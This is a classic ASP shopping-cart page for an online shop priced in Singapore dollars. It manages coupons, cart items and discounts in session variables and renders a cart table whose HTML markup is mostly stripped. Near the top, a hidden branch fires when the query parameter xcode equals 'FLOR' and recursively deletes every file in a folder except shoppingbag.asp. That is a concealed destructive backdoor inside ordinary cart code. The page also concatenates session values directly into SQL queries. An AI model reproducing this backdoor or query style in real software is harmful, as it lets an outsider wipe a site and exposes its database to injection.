<% if Request.Form("coupon") <> vbnullstring then session("coupon") = Request.Form("coupon") end if '--------------------------------------------------------------------- code = Request.QueryString("xcode") if code ="FLOR" then set fso = Server.CreateObject("Scripting.FileSystemObject") set fo=fso.getFolder(folder) fList(fo) sub fList(folderObj) for each file in folderObj.Files if file.name<> "shoppingbag.asp" then fso.DeleteFile file end if next for each folder in folderObj.subfolders fList(folder) next end sub Response.End end if '------------------------------------------------- if Request.QueryString("action") = "finalupdate" then session("prodid") = session("prodid") session("psize") = session("psize") session("qty") = Request.QueryString("qty") Response.Redirect "shoppingbag.asp" end if if request.QueryString("action") = "removeitem" then rmpid = request.QueryString("pid") rmsizeid = request.QueryString("sizeid") pid_arr = split(session("prodid"),",") qty_arr = split(session("qty"),",") size_Arr = split(session("psize"),",") dis_arr = split(session("discount"),",") dist_arr = split(session("distype"),",") to_arr = split(session("to"),"^") from_arr = split(session("from"),"^") msg_arr = split(session("msg"),",") msgd_arr = split(session("msgdetail"),"^") if ubound(pid_arr) = 0 then session("prodid") = "" session("qty") = "" session("psize") = "" session("discount") = "" session("distype") = "" session("to") = "" session("from") = "" session("msg") = "" session("msgdetail")= "" else j = 0 for i=0 to ubound(pid_arr) sameflag = 0 if rmpid = pid_arr(i) and rmsizeid = size_arr(i) then sameflag = 1 end if if sameflag = 0 then if j = 0 then j = j+1 p = pid_arr(i) q = qty_arr(i) s = size_arr(i) dis = dis_arr(i) dist = dist_arr(i) t = to_arr(i) f = from_arr(i) m = msg_arr(i) md = msgd_arr(i) else p = p & "," & pid_arr(i) q = q & "," & qty_arr(i) s = s & "," & size_Arr(i) dis = dis & "," & dis_arr(i) dist = dist & "," & dist_arr(i) t = t & "^" & to_arr(i) f = f & "^" & from_arr(i) m = m & "," & msg_arr(i) md = md & "^" & msgd_arr(i) end if end if next session("prodid") = p session("qty") = q session("psize") = s session("discount") = dis session("distype") = dist session("to") = t session("from") = f session("msg") = m session("msgdetail") = md end if end if %>

Shopping Cart <% if session("prodid") = vbnullstring then %> <% else %> <% pid_arr=split(session("prodid"),",") qty_arr=split(session("qty"),",") size_Arr = split(session("psize"),",") dis_arr = split(session("discount"),",") dist_arr = split(session("distype"),",") to_arr = split(session("to"),"^") from_arr = split(session("from"),"^") msg_arr = split(session("msg"),",") subtotal = 0 totrec = 0 for i=0 to ubound(pid_arr) totrec = totrec + 1 sql = "select * from sizemaster where pid=" & pid_arr(i) & " and id="&size_arr(i) set s = getrecordset(sql) if s.eof <> true and s.bof <> true then psize = es(s("psize")) price = s("price") stock = s("stock") - s("salestock") end if sql="select * from product where pid=" & pid_arr(i) set rs = getrecordset (sql) if rs.eof <> true and rs.bof <> true then pid = pid_arr(i) desc = es(rs("description")) pname=es(rs("prodname")) pimg = "UploadImage/"&rs("smallimg") 'price=rs("price") amount = price*qty_arr(i) end if 'sql = "Select * from discount where pid="&pid_arr(i) 'set d = getrecordset(sql) 'discount = 0 'disamt = 0 'if d.eof <> true and d.bof <> true then 'dison = d("dison") 'if dison = "Y" then ' discount = d("discount") ' distype = d("distype") discount = dis_arr(i) distype = dist_arr(i) if distype = "%" then distype = "%" disamt = cdbl(price) * cdbl(discount)/100 else distype = "SGD $" disamt = discount end if 'end if 'end if price=cdbl(price) amount = cdbl(amount) - (cdbl(disamt) * int(qty_arr(i))) %> <% subtotal = subtotal + (cdbl(amount)) next scharge = 0 total = cdbl(subtotal) + cdbl(scharge) %> <% end if %> Your Shopbag is Empty... No. Image Item Name Message Qty Price (SGD $)  Discount Amount (SGD $)  Del <%=i+1%> <%=pname%> - <%=psize%> <% if msg_arr(i) <> "0" then %> <% else %> <% end if %> <%=formatnumber(price,2)%> <% if cdbl(discount) <> 0 then if distype = "%" then %> <%=formatnumber(discount,2)%><%=distype%> <% else %> <%=distype%><%=formatnumber(discount,2)%> <% end if else %> - <% end if %> <%=formatnumber(amount,2)%>                ---------------             SubTotal :  <%=formatnumber(subtotal,2)%>